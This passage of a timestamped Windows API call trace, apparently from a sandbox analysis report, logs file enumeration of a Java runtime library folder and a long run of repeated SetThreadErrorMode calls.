FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.423] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0082.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0082.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0082.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\lib", lpFilePart=0x0) returned 0x24 [0082.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0082.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib" (normalized: "c:\\program files (x86)\\java\\jre7\\lib"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37358da0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x38e46680, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x38e46680, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0082.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0082.472] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\lib", lpFilePart=0x0) returned 0x24 [0082.472] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9858 [0082.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0082.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0082.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0082.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0082.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0082.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0082.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0082.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0082.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0082.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0082.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0082.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0083.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0083.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0083.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0083.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0083.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0083.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0083.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0083.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0083.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0083.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0083.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0083.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0083.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0083.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0083.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0083.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0083.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0083.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0083.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0083.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0083.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0083.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0083.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0083.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0083.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0083.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0083.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0083.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0083.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0083.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0083.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0083.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0083.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0083.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0083.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0083.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0083.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0083.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0083.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0083.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0083.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0084.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0084.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0084.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0084.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0084.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0084.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0084.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0084.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0084.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0084.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0084.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0084.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0084.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0084.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0084.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0084.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0084.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0084.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0086.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0086.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0086.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0086.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0086.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0086.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0086.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0086.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0086.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0086.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0086.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0086.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 